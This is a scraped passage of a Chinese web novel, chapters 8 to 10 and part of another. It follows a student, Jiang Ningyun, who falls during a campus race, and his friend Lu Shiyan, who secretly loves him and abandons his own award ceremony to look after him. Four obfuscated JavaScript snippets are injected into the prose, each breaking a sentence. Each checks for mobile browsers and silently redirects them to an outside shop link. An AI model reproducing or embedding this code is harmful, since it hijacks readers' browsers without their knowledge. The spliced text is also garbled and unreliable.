他愣了一下,眼神下意识地往四周扫了一圈,没找到那个熟悉的高挑身影,然后才小心翼翼地压低声音问:“陆时衍……他没来?你们吵架啦?” 江凝云皱了皱眉:“没。” 他们怎么可能会吵架。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318923|199018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>林寓还在问:“那为什么……” 江凝云给阳光照得眯了眯眼睛,“他一会也有比赛,反正1500结束得挺快的,我一会去找他就好了。” 陆时衍这段时间,每隔两天就要看似随意地问一句他运动会那天有没有空,眼神里那点期待藏都藏不住,似乎非常非常希望自己能去看他比赛。 还说他特地练了一下,一定能跑个第一名。 广播里开始通知男子一千五百米参赛选手准备。 江凝云深呼吸了一下,站上起跑线。 空气里弥漫着塑胶跑道被晒热后的独特气味,混合着青草和尘土的味道。 江凝云在心里叹了一口气。 有点后悔。 他真的很讨厌跑步。 都怪陆时衍! 江凝云又叹了一口气。 要不是陆时衍,他才不会疯了一样报什么运动会。 “各就位——预备——” 砰! 发令枪响,清脆地划破空气。 怨念还没消散,身体就先于意识冲了出去。 风迎面扑来,鼓动着他的衣襟和短发。脚步踏在深红色的塑胶跑道上,发出稳定而富有弹性的“嗒、嗒”声。 江凝云能听见看台上隐约传来的加油声,有些模糊,像隔着一层水。也能分辨出其中几声特别响亮的、带着熟悉音色的呼喊,大概来自林寓和自己班上的同学。 一圈,两圈…… 节奏似乎慢慢找到了,江凝云逐渐和身边的选手们拉开了距离。 他维持在中段的位置,目光放空地盯着前方深红色的跑道。 可渐渐地,思绪开始不受控制地游移。 陆时衍到底是为什么要报名三千米? 医学院也会缺人报名运动会吗?陆时衍不像是那种会为了集体荣誉去报名三千米的人啊? 而且还不告诉他。 要不是之前吃饭时有人问起,陆时衍都没有打算说的意思。 既然都不打算说,为什么还要隔两天就问他去不去? 他去不去看有那么重要吗? 思索间,呼吸的节奏,不知不觉乱了一拍。 紧接着,更多的杂念涌了上来: 陆时衍从来没有对他刻意隐瞒过这么多事情。 他们不是朋友吗? 有必要这样吗? “江凝云!加油——!”看台上爆发出更响亮的呐喊,江凝云猝然意识到他刚刚怎么又想到那去了。 还在比赛呢。 他猛地吸了一口气,试图重新集中注意力。但腿部的酸麻感变得鲜明,喉咙干得发疼,每一次呼吸都像有细小的沙砾摩擦着气管。 阳光晒在头顶,热意透过发丝渗透进来,让他有些发晕。 不行,得集中精神。 江凝云强迫自己盯紧前方,数着自己的步子。 还剩最后大半圈了。转过前面那个弯道,就是最后的直道冲刺。 弯道处,塑胶跑道因为经常踩踏,边缘似乎有轻微的不平。这本该是运动员需要留意、但足以轻松应对的细微状况。 然而,就在江凝云准备调整重心、平稳过弯的刹那—— 他的目光无意识地扫过了弯道外侧的某片区域。脑子里还在想着:陆时衍的比赛是在哪个场地来着?他等会儿该往哪边走? 就这一刹那的分神。 脚下似乎微妙地踉跄了一下,也许是踩到了那个细微的不平处。 身体的重心在高速中猛地向前倾塌,平衡在瞬间丧失。 “啊——!”看台上传来惊呼。 江凝云只觉得整个世界突然倾斜、旋转。深红色的跑道在视野中急速放大,迎面撞来。 他试图用手撑地,但摔倒的势头太猛。 砰! 一声沉闷的撞击声。 右膝和左手肘率先重重地磕在粗糙的塑胶颗粒上,火辣辣的剧痛瞬间炸开。惯性让他的身体又向前擦滑了一小段距离,布料与地面摩擦发出令人牙酸的声响,更多的刺痛从皮肤表层蔓延开来。 世界安静了一瞬,只有自己粗重混乱的喘息和耳边嗡嗡的鸣响。 随即,尖锐的疼痛如同潮水般从撞击点蔓延开。 8. 第 8 章 嘈杂的惊呼声、脚步声从四面八方涌来。 江凝云撑着手臂,试图坐起来,但膝盖传来的疼痛让他倒抽一口冷气,眉头紧紧拧在一起。 他低头看去,膝盖处已经擦破,洇开一片刺目的鲜红。手肘也是同样的惨状。 林寓第一个冲到他身边,脸色发白:“凝云!你怎么样?能动吗?” “没事吧!” “怎么摔倒了?” “有摔到骨头吗?能起来吗?” 老师和同学们的关心交错在一起,江凝云都分不清哪句是谁说的。 “没事……”江凝云吸着气,声音因为疼痛而有些发颤。 阳光太刺眼了,白晃晃地砸在眼皮上,他眯了眯眼,试图聚焦,看了眼自己膝盖的伤口。 …看着确实挺吓人的。 最初的尖锐疼痛过去后,是持续扩散的、闷闷的胀痛,像是有什么东西在皮肤地下一下下地跳动。 江凝云深吸了一口气。 能忍受。 只不过大概是看不了陆时衍的比赛了。 他在心底叹了口气。 计划被打乱的感觉比膝盖的疼痛更让他烦躁。 “别硬撑!去医务室!”林寓和另外两个赶过来的同学不由分说,小心地架起江凝云的胳膊,动作轻得像是怕碰碎什么瓷器。 没办法站直,江凝云也没逞强,借着他们的力,一点点站了起来。 “能行吗?”扶着他的一个男生小声问。 江凝云点了点头说可以。 他被两个人半架着往外走,每挪一步,膝盖就传来一阵刺痛,江凝云快速地眨了眨眼睛意图让自己别把注意力放在伤口上。 耳边是林寓喋喋不休的念叨,声音里压着明显的后怕: “怎么会摔到呢?是不是跑道上有什么东西?” “疼你就说啊,别硬撑着!” “我都说了别报跑步了……” 江凝云挤出一个笑,吸着气说:“真没事,就是擦破点皮。” “你管这叫擦破点皮!!”林寓的声音徒然拔高,都变了调。 “嘶——”江凝云被他喊得耳朵一嗡,下意识偏头想躲,奈何自己被两个人扶着,根本躲不开多远,“你别这么大声……我耳朵疼。” 旁边跟来的几个同学忍不住笑了,推了推林寓,让他在这时候就别闹江凝云了。 林寓看了看面前面色有些苍白的江凝云,叹了口气,声音软下来,“好好好,先去医务室重要。” 他们穿过操场边缘,朝医务室的方向慢慢走,离开比赛区域后,操场上的喧闹逐渐变得遥远而模糊。 - 校医是个面容和善的中年女医生,看到进来了黑压压一群人,还以为是集体受伤吓了一跳。 定睛一看才发现受伤的是被围在中间的漂亮男孩。 鲜红的血迹在皮肤上格外明显,靠近了看,有的地方上面嵌着细小的沙砾和塑胶颗粒。 校医的眉头瞬间拧在一起,“怎么摔成这样,先坐下。” 接下来就是消毒、清创、上药。 碘伏棉签擦过伤口时,江凝云皱了皱眉,下意识地咬着嘴里的软肉,额角沁出了一点汗,但愣是一声没吭。 看得周围人也不禁咬紧了牙关。 “还好只是皮外伤,”校医处理完,仔细地贴上纱布,“这几天别碰水,别剧烈运动,记得按时来换药。” 江凝云小幅度地呼吸着,等那一波疼痛的余韵过去,嗓音有些发哑:“谢谢。” “行了,休息会儿再走,”校医一边收拾着东西,一边看向围在周围对着江凝云嘘寒问暖的几个同学,“你们几个一会还有没有项目?别在这挤着了。” “我要留在这里陪他。”林寓立刻说。 江凝云想都没想就拒绝了:“你们去比赛吧,别因为我耽误了。” “可是——” 江凝云晃了晃腿,努力让声音听起来轻松些,“看,真的没事。” 那副明明疼却还要强装没事的样子,让林寓心疼又好笑:“那你好好待着,别乱跑,我比完就过来,得亲自把你送回家才放心。” 江凝云坚定地点了点头:“嗯嗯。” 好说歹说,终于把林寓他们给劝走了。 江凝云坐在椅子上,垂眸看着膝盖上洁白的纱布,又抬起手臂看了看受伤的手肘。 懊悔后知后觉地漫上来。 他怎么就摔倒了。 ……早知道在跑步的时候就不想那么多了。 手机在一旁震个不停,江凝云拿起来大致扫了一眼,锁屏上堆满了未读消息,几乎都是认识的人问他有没有事。 估计是刚才哪个围观的同学拍了照或者发了消息,一传十十传百。 那他摔倒的狼狈样子岂不是也被很多人知道了? 他无语地闭了闭眼,把手机锁屏后把倒扣在一边,等会再回吧,现在没有心情,只想静一静。 医务室里安静得有些过分。 江凝云靠在椅背上,脚尖无意识地点着地面,一下,又一下。 陆时衍现在应该在比赛吧,他记得陆时衍的比赛时间好像也就比自己迟了半个多小时。 都是因为陆时衍在他耳边念叨了好几天,说是让他一定要去看,害得江凝云记他的比赛时间比自己的还清楚。 也不知道陆时衍三千米要跑多久。 十多分钟? 江凝云想了一下,双手撑着椅子两侧,试探着想要站起来。 可还没站直,膝盖就传来一股酸麻感,手肘处也有些凉嗖嗖的疼。 江凝云眉头轻蹙,轻叹了口气,又慢慢坐了回去。 算了。 陆时衍的比赛场地离这里还有一点距离,他要是现在去了估计也赶不上。 而且,他当时并没有承诺说一定会去,只是说有时间就去。 既然没有承诺,那陆时衍应该不会因为自己没去而多想吧…… 还是老实待着吧。 不过他还是打算拿手机和陆时衍说一声,免得让陆时衍担心。 才刚解锁屏幕,一道存在感极强的视线就毫无预兆地落在他身上。 江凝云若有所感,缓缓抬起脸—— ——医务室敞开的门口,陆时衍正站在那里。 一只手扶在门框上,指尖因为用力而微微泛白。 他的胸口明显起伏着,呼吸有些紊乱,额前的黑发被汗浸湿了,几乎是凌乱地贴在额头上。那张总是平静无波的脸上,此刻正带着一种近乎仓促的狼狈。 看起来像是跑过来的。 乌沉沉的眼睛一瞬不瞬地盯着他,唇线抿得死紧,下颌绷出凌厉的线条。 江凝云被看得愣怔了一下。 即使是隔了一些距离,他也能清楚地看到陆时衍眼底翻滚的浓重情绪。 好像是……担心和焦虑。 可以说,江凝云很少在陆时衍脸上看到如此外露的、甚至可以说是近乎失控的情绪。 上次陆时衍这样还是他高中上晚自习胃痛的时候。 两人目光相撞。 空气仿佛凝固了。 “你……” 江凝云坐直了身体,把手机重新放到一旁,既然陆时衍人都在这了那也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318924|199018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没什么发的必要了。 他眨了眨眼睛,还是觉得有些不可思议。 陆时衍不是还要比赛吗? 江凝云下意识问出口:“你怎么来了?” 不是要比赛吗? 难道已经比完了? 陆时衍的目光从江凝云的脸上,移到他的手肘、膝盖,又落到他身前的号码牌上。 开口时,喉咙有些发干:“为什么受伤了不告诉我?” 江凝云被漆黑的瞳仁看得心跳漏了一拍,陆时衍的脸色很难看,像是自己骗了他多么严重的事情似的。 他的脑子还有点懵,只会用最简单的否定句:“我没有不告诉你。” “要不是我刚刚比完听到周围有人说,美院的江凝云在跑步时摔倒了。”陆时衍顿了一下,深吸了一口气,继续说道:“我什么时候才会知道你不仅去参加运动会,还受伤了。” 可能是陆时衍语气里的担心实在是太过于明显,江凝云心口蓦地酸了一下。 “在你来之前我正想给你发消息的,”江凝云自知理亏,看陆时衍的眉头拧得很紧,活跃气氛道,“你是不是拿奖了?奖牌呢?给我看看?” 他看着陆时衍走到自己面前,脸部线条绷得很紧,像是在刻意隐忍什么,嘴唇缓慢地动了两下,说:“第一名。” 江凝云正想祝贺,就听到陆时衍说:“奖牌没拿。” 他懵了:“为什么?” 颁奖不就在比赛结束后吗?怎么不拿? 陆时衍不是为这个比赛准备了很久吗?还说一定会拿到第一名。 可为什么拿到了之后又不想要奖牌。 该不会比赛结束后直接就过来了吧…… 什么时候陆时衍把自己看得那么重要了,比比赛还重要。 江凝云恍惚了一瞬,想也没想就问出口:“我比你的颁奖仪式还重要吗?” 话音落下,医务室里一片寂静,隐隐约约能听到外面几个同学路过的打闹声。 陆时衍喉结滚动了一下。 他的手指蜷了蜷,垂在身侧的手掌张开又握紧,手背上的青筋微微凸起。 他才刚冲过三千米的终点线,气还没喘匀,就听到旁边的人在议论“美院那个特别好看的男生摔得挺惨”。 那一瞬间,陆时衍感觉自己全身的血液都凝固了,什么名次,什么颁奖,他一律不在乎,他甚至连成绩都没听,拨开围上来祝贺的同学,转身就朝医务室的方向狂奔而来。 但这些陆时衍一句也不敢说出口。 过了好几秒,陆时衍才很慢地移开视线,目光落在江凝云膝盖的纱布上,声音哑得厉害: “还疼吗?” 江凝云看着陆时衍近在咫尺的眼睛,看着那里面毫不掩饰的心疼,一直强撑着的外壳,忽然就塌了一角。 疼痛,委屈,懊恼,还有某种他自己也说不明白的不开心,混杂在一起。 这些复杂又混乱的情绪促使江凝云皱了皱鼻子,说了句:“……痛死了。” 话音落下的瞬间,江凝云自己也怔住了。 那声音里带着他自己都没意识到的、软绵绵的鼻音。 他先前竟然还觉得陆时衍奇怪,还觉得陆时衍会不会对他太在意了。 可他自己难道就不奇怪吗? 到底是从什么时候开始,他开始把陆时衍的偏爱当成习惯,甚至是理所应当了。 而江凝云没看到的是,在他说完那句话的时候,陆时衍的手臂倏地抬了一下,而后又猛地停住,五指握成了拳头,在空中停顿了一秒,然后不动声色地放下来。 ——那是个想抱他的动作。 9. 第 9 章 “小凝。”陆时衍缓了缓神,双手撑在椅子两侧的扶手上,这个姿势不动声色地将江凝云圈在自己身前。 他蹲下来的视线刚好能和江凝云齐平,陆时衍望着面前透亮的眼眸,放低了声音:“我带你再去医院检查一下。” “不要,”江凝云立刻摇头,身体本能地往后仰了仰,觉得陆时衍有些小题大做了,抗拒道,“我不去。” 擦破点皮而已,又不是什么大事。 “万一校医检查得不到位呢?之前不是有人在学校论坛上说校医不靠谱吗?不知道你有没有看到。” 陆时衍说得煞有介事,语气和目光都很坦然,让人很难去怀疑。 …但其实他自己压根没看过这类帖子。 他只是太了解江凝云了,知道江凝云不愿意做的事情,旁人很难强迫他改变主意。所以陆时衍才编了这样一个理由。 江凝云果然被他说得犹豫了,半信半疑道:“有吗?” “有。” “可我觉得很麻烦,我不想去。” 陆时衍自有应对的办法:“我背你。” 说完后陆时衍自己都愣住了。 他怎么能直接说出来。 江凝云没注意到这点,他只是有些气闷,怎么每句话陆时衍都能反驳。 但江凝云又知道陆时衍这样固执归根到底是因为担心自己,到嘴边的话又咽了下去。 二人就这样僵持着。 就在这微妙的静默里,医务室那扇先前被陆时衍虚掩着的门,突然被“砰”的一声推开了。 “小陆哥我终于找到你了!就差你了!颁奖仪式马上就开始了,你——”徐洺恩气喘吁吁地冲进来,声音在看到室内情景时戛然而止。 他的目光先是落在蹲在江凝云身前的陆时衍身上,然后缓缓上移,对上了江凝云望向这里带着些许茫然的眼睛。 “……嗨。” 徐洺恩干巴巴地挤出一个音节,脚步钉在原地,他现在进也不是退也不是。 什么情况。 “徐洺恩?”江凝云也有些意外。 陆时衍这才不紧不慢地站起身,转头看向门口的徐洺恩,挑了挑眉,没开口,但眼神里的意思很清楚——你来得不是时候。 徐洺恩的视线在两人之间快速打转。 他们的距离很近,一看就是关系特别好,外人插不进去的样子。 江凝云正好给提醒了一下,才想起来这个问题陆时衍前面还没回答,伸手轻轻推了推陆时衍的小臂,催促道:“你快去颁奖仪式呀,不是说就差你了吗?” 陆时衍满不在乎:“不用,我明天拿。” 徐洺恩:“?” 几分钟前在跑道上跑得飞快,把其他选手都甩在后面的那个人不是陆时衍吗? 这么努力拿下第一名,结果现在却说奖牌明天拿? 徐洺恩的目光不由自主地落在江凝云胸前有点皱了的号码布上。 电光火石间,他脑子里的线索猛地串联起来。 混乱中,他的嘴巴比脑子快了一步:“那个……既然江凝云都在这了,那小陆哥你其实不去也没事……” 可话还没说完,徐洺恩就看到江凝云的眼睛微微睁大。 江凝云眼里清晰可见的困惑就像一盆冷水,一瞬间把徐洺恩浇醒了。 遭了! 他飞快地瞟了陆时衍一眼,看到陆时衍的表情也微微僵住。 陆时衍那张万年不变的冰山脸突然出现了罕见尴尬的表情。 他到底都说了什么啊! 徐洺恩语气瞬间变得磕磕巴巴起来:“那、那什么……我、我先走了!你们聊!你们聊!” 几乎是话音还未落就遛了。 过了两秒,还贴心地倒回来给他们关上了门。 “……” 除了安静,还是安静。 江凝云的眼睛还微微睁圆着,浅色的瞳仁在眼眶里缓慢转动几下,正在努力消化徐洺恩那句没头没尾的话。 江凝云在短时间内没法想通,他在这里,和陆时衍不去颁奖仪式有什么关系? 他微微仰起脸,看向面前颀长的身影,陆时衍居然到现在还没转过身来,也不解释。 他竟然没有什么想要说的吗? 江凝云直觉这件事和自己有关系。 他不喜欢这种被蒙在鼓里的感觉,决定直接问个明白:“徐洺恩刚才说的话是什么意思?” 清冷的嗓音在没人出声的医务室里显得格外清晰。 “我在哪,和你去不去颁奖仪式有关系吗?” 陆时衍的身体几不可闻地僵了一下。 他刚刚一直没动,是因为真的太突然了。 他没想到事情会以这种方式,被猝不及防地捅破。 大脑瞬间飞速运转,该如何解释,才能既解决江凝云的疑惑,同时又不暴露自己那些无法宣之于口的念头。 沉默在医务室中蔓延,每一秒对他们来说都显得格外漫长。 江凝云等不到回答,陆时衍沉默的时间越久,他就越发觉得事情奇怪。 他不想再等了,直接伸出手,握住了陆时衍垂在身侧的手腕。 握住的那一瞬间,他清晰地感受到陆时衍僵了一下。 江凝云才不想管那么多,握着陆时衍的手腕,稍稍用力,将人往自己的方向带过来一点,同时抬起头,漂亮的眸子直勾勾地望着陆时衍,尾音因为些许不满而微微上扬,听起来竟带着几分威胁的意味。 “陆、时、衍。” “你说不说?” “……” 又过了仿佛无比漫长的几秒钟,正在江凝云耐心快要告罄,准备再次开口催促时,他看到陆时衍终于转过身。 高大的身影在他面前投下一片阴影。 “小凝,”陆时衍很认真地喊了他的名字,脸上露出一抹看似无奈,但又拿他没办法的笑意,“有那么想知道吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318925|199018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江凝云没松手,反而因为这话,故意把表情沉下来一点,也不说话,只是眼神有些哀怨。 再吊他胃口试试看呢! 陆时衍心下一动,勾起嘴角,妥协道:“我说。” “……是有点关系。” 江凝云愣怔一下,握着陆时衍手腕的手下意识地松开了。 什么意思? 如果自己不在现场的话,陆时衍就不在乎他的第一名?不在乎那块奖牌? 为什么? 他在陆时衍心里有这么重要吗? 陆时衍垂眸,视线在自己刚刚被握过的手腕上停留了一瞬。 那里似乎还残留着江凝云掌心细腻温热的触感。 指尖无意识地蜷了几下。 “其实我报名运动会,也有你的缘故。” 江凝云更懵了:“啊?” “你之前有一次偶然提起想来运动会看看,”陆时衍看出他的不解,弯下腰和江凝云对视,放轻了声音问他:“忘记了?” 江凝云对上了这双近在咫尺的漆黑眼眸。 对方还在说:“所以,我这次不就替你来试试水了吗?” 陆时衍的眼眸狭长,瞳孔颜色很深,像化不开的浓墨,垂下眼睛跟人认真说话时,给人一种要被吸进去的感觉。 江凝云有些晃神,喃喃道:“替我来试试水?” 也就是说,陆时衍来参加运动会,不是因为和其他人约好,更不是为了在谁面前表现,而是因为自己? 虽然连江凝云自己确实想不起来他是不是真的有说过这样的话,他好几次三分钟热度,兴之所至随口说过的话多到他自己也记不清。 但他也不会去怀疑陆时衍。 毕竟陆时衍的记性一向很好,甚至好几次他发现陆时衍对关于他的事情也记得很清楚。 ……原来是这样么。 陆时衍的这个理由,奇妙地安抚了江凝云近日偶尔发作的烦躁。 还搞得他有点赧然。 跑步多累啊,其实陆时衍可以不用因为他的一句话去报名的…… “那你呢,”陆时衍看江凝云心情明显是变好了,问出了他没办法无视的一个问题,“小凝,可以告诉我为什么你报名运动会吗?我记得你不喜欢跑步。” 他又记得了。 江凝云在鼻子里轻轻地哼了一声,突然想起一个很好的理由,下巴微扬:“我当然是因为最近画得太多了,肩膀有点僵,想活动一下筋骨咯。” “……” 见陆时衍被他堵得哑口无言的样子,江凝云没忍住,唇角向上翘起一个细小的弧度,漂亮的桃花眼弯成月牙形,认真看了,就能发现里面闪着狡黠的光。 陆时衍怎么会不记得这是他前段时间用来搪塞江凝云的借口。 看着江凝云这副得逞的模样,陆时衍紧绷着的情绪蓦地被融化了一丝,抿唇笑了,声音里带着几分明显的示弱: “我错了。” 10. 第 10 章 陆时衍这副示弱的模样对江凝云来说特别受用。 江凝云微微抬起眼,一瞬不瞬地盯着面前弯下腰的陆时衍。 他故意收起笑容,板着一张漂亮的脸蛋,声音也压得比平常低,带着审问的意味:“就算是这个理由的话,为什么要说谎呢?” 他还以为,陆时衍有喜欢的人了,偏偏瞒着他。 他们认识了这么多年,江凝云是真的把陆时衍当作很重要很特别的朋友,所以才会这么烦恼。 陆时衍最好给他一个合理的解释。 空气安静了几秒,江凝云看到陆时衍顿了一下,眉头微蹙,看起来有点苦恼:“嗯……要是试水失败了,成绩很差,岂不是很尴尬。” 语气听上去竟然有些可怜。 江凝云愣了一下,随即被这理由搞得没忍住笑了一声,眼睛都睁大了一些。 装出来的冷淡瞬间消失殆尽。 什么啊。 也不知道之前天天喊着自己一定要去看,一直说自己能拿第一名的人是谁。 原来还会怕尴尬? 江凝云咳嗽两声,尝试着把翘起的嘴角往下压了压,正色道:“你少来。” 只是微弯的眉眼还是能够让人轻而易举地看出来他根本就没有在生气。 陆时衍心下一软,眉眼顿时柔和几分。 小凝就是这样,有的时候只是表面上故意冷着脸而已。 “我不是故意要瞒着你的。”他低声补充,语气诚恳。 “行吧行吧。”江凝云摆摆手,看在陆时衍认错态度良好的份上,他接受这个理由了。 但陆时衍却还没有完,他拉了条椅子在江凝云面前坐下来,试探性地问道:“那你能告诉我你为什么来参加吗?” “心血来潮。”江凝云说得不假思索。 “嗯?” 陆时衍狭长的眼眸微微眯起,这个理由听起来也很熟悉,一时没接话。 江凝云被他看得耳根微热,先一步恼了,语气有点凶:“干嘛?” 他追问道:“你不相信我?我才不会像你一样用很烂的借口。” “连你这个不爱参加集体活动的人都参加运动会了,我当然也要来看看有什么特别的了。” “谁让你不告诉我的。” “都怪你!” 一连串的控诉下来。 陆时衍一句话都没来得及说,内心却感到莫名的充盈,神色瞬间软化下来,目光一直在江凝云脸上没移开,语气带着笑意道:“嗯,都怪我。” 还笑。 江凝云被他这副坦然承认的态度搞得都没脾气了,只好很没杀伤力地瞪了陆时衍一眼。 医务室这里离比赛场地有一些距离,周围还挺安静的,只有窗外偶尔传来几位同学路过的交谈声。 江凝云听到陆时衍问他:“那发现什么特别的了吗?” 他开了个玩笑:“摔得特别疼。” 然而才刚说完江凝云就发现陆时衍的笑意蓦地淡了下去。 陆时衍微不可察地皱了下眉,视线又落在江凝云膝盖的纱布上。 江凝云的声音也渐渐低下来:“……干嘛。” 他见陆时衍这样也收起了笑容,皱了皱鼻子,用脚尖很轻地踢了踢陆时衍的小腿,“你不要那么严肃,搞得我也不想笑了。” 嘴上这么说,但经过这一番插科打诨,江凝云心里那点因为猜疑而产生的隔阂和憋闷,确确实实地消散了大半。 他看着陆时衍依旧紧绷的侧脸线条,终于妥协般软下声音: “好啦,我答应你,去医院再检查一遍,总行了吧?不要担心了。” 陆时衍瞬间抬起头:“好。”答应得很快像是怕江凝云会反悔一样。 ……他怎么感觉自己被陆时衍绕进去了。江凝云后知后觉地想。 但是说出去的话就像泼出去的水。 “等一下,”江凝云想起什么,拿起手机,“我和林寓说一声。” “为什么?” 江凝云没看到陆时衍骤然紧绷的神色,低着头一边给林寓发消息一边说道:“我答应他要在医务室等他的呀。” 陆时衍扯出一个看起来温和的笑:“这样。”然后动作自然地去收拾江凝云放在旁边的包。 就在这时—— “你们和好啦??” 林寓带着笑意还夹杂着风声的语音消息,因为江凝云不小心点到外放,突兀地在医务室内响起,格外清晰。 陆时衍伸向背包的手几不可察地顿在半空,他转身和江凝云对视上,“小凝,是在说我们吗?” “对啊。”江凝云顺口应道,指尖还在手机上敲个不停,解释自己要去医院,没注意到陆时衍那边的细微动静。 “我们吵架了?” 江凝云这才抬起头,表情有点茫然:“没啊。” 陆时衍这是怎么了?明知故问。 他们要是吵架了,还会坐在这里吗? 江凝云随意安抚了一下: “林寓那人你又不是不知道,八卦精,之前还说你有喜欢的人,你别管他。” 他说完想了一下又补充道:“不过以后你不能有这种事情瞒着我,我很记仇的。” “好。” 但陆时衍还是说谎了。 他报名,确实是因为江凝云而来。 但不只是来替他试试水那么简单。 ——真正的原因是他喜欢江凝云。 陆时衍口袋的手机震动一下。 他拿出来解锁屏幕,上面显示的,赫然是江凝云不久前点赞过的一条视频动态——一个体育生跑过终点线的画面,阳光健气,充满蓬勃的生命力。 陆时衍眸色一沉,他到现在依旧不知道江凝云为什么会点赞这条视频,这个男生又是谁,又凭什么能得到江凝云的关注。 这个念头就像一根细小的刺,一直扎在他心里。 陆时衍迅速退出那个界面,点开徐洺恩发来的新消息。 几乎没有任何犹豫,陆时衍就将手机屏幕转向江凝云,不经意道: “小凝这是我跑过终点的视频。” 他特地让徐洺恩给他拍的。 镜头里,陆时衍刚刚冲过三千米的终点线,胸膛剧烈起伏,额发被汗水浸湿,一缕缕贴在光洁的额角。 阳光有些刺眼,他微微眯起眼,下颌线因为用力而绷紧,浑身散发着一种与平日里沉静不同的锐利。 “你居然还录了视频……不是吧。”江凝云有点惊讶,眼角微微撑圆了。 看来陆时衍真的还挺在乎这次比赛的。 陆时衍还真是做什么事情都很认真。 就连替自己试水也要拿第一名。 江凝云这个三分钟热度的人做不到这样,但他打心底是很欣赏陆时衍的。 江凝云接过去看得很认真,夸赞就那样自然而然地从他口中流露出来,“好厉害啊陆时衍!” 果然这种事情还是让擅长的人去就好了。 陆时衍望着江凝云头顶圆圆的发旋,一直悬着的心悄悄落到了实处。 他只是想变成江凝云喜欢的样子而已。 哪怕是一点点。 - ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318926|199018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一进到医院,所有需要走动和排队的环节,陆时衍都没让江凝云沾手,哪怕江凝云几次抗议,陆时衍也是充耳不闻。 他唯一关心的问题就是会不会留疤。 确认不会留疤后,江凝云终于放下心来,又恢复了平日里那副不内耗的模样。 “只是蹭破皮,又不是腿断了……”又一次被陆时衍安顿在等候区的椅子上时,江凝云忍不住嘟囔。 “小凝。”陆时衍眉心一跳,声音微沉,皱着眉,垂眼看向江凝云。 江凝云自知失言,眼睫颤了颤,眼神飘忽,移开视线想假装看别处。 陆时衍却没让他得逞,向前半步,挡在他面前,微微俯身,强迫江凝云看着自己的眼睛,一字一句,认真又带着点后怕的严肃:“不能说这种话,知道吗?” “知道了知道了我错了,”江凝云滑跪很快,心虚地催促道,“你快点去吧……” 他清楚陆时衍不喜欢自己说这些不吉利的话,在这种事情上陆时衍很固执,他要是不说清楚陆时衍可以在这和他耗一天。 他可受不了陆时衍的唠叨。 陆时衍这才直起身,最后看了他一眼:“我去取药,在这里等我。” 看着陆时衍身形挺拔地穿梭在忙碌的人群中,江凝云松了一口气。 他坐在冰凉的椅子上,脑子里开始不由自主地开始复盘这段时间发生的种种。 最开始是论坛上被顶出高楼的热帖,然后就是陆时衍莫名其妙对着手机笑,后来又破天荒报名运动会。 现在,一条条线索在他脑海里清晰起来,又逐一被合理的解释覆盖。 论坛上的是谣言,陆时衍已经说了自己没在谈恋爱。 对着手机笑,是在看自己的演出视频。 报名运动会,也是为了给自己试水。 虽然还有偷偷出去,但陆时衍也说了,是有事回院里一趟,并没有刻意不告诉他。 陆时衍根本就没有什么喜欢的人,没有事情瞒着他,也没有不把自己当朋友。 江凝云没忍住笑了一下。 一切都是自己的捕风捉影罢了。 他这些胡思乱想真够奇怪的。 陆时衍取完药回来时,看到的就是这样一副画面—— 周遭人来人往,喧嚣嘈杂,江凝云却安安静静地坐在那一方椅子上,微微垂着头,露出白皙优美的后颈线条,仿佛沉浸在自己的思绪里。 他的双手规矩地放在身侧,小腿笔直白皙,膝盖上洁白的纱布在人来人往的背景里格外醒目。 看起来很乖,又很可怜。 陆时衍感觉自己的心脏像是被一只手很轻地拧了一下。 酸酸涨涨的,泛起密密麻麻的疼。 他深吸了一口气,加快脚步走过去,扶起江凝云的胳膊:“好了,我们回家。” 江凝云正从自己的思绪里抽离,闻言抬起头,露出一个放松的笑容:“嗯。” 江凝云也不逞强,这是陆时衍又不是别人,他很自然地借着陆时衍手臂的力道站起来。 动作娴熟,姿态亲昵。 在家楼下等电梯的时候,江凝云站得有些累了。膝盖虽然不疼,但站久了还是有点酸胀。 他几乎是下意识地将身体更往陆时衍那边歪了歪,半边身子都松松地倚靠在了陆时衍坚实的手臂上。 这个动作他以前做过无数次。 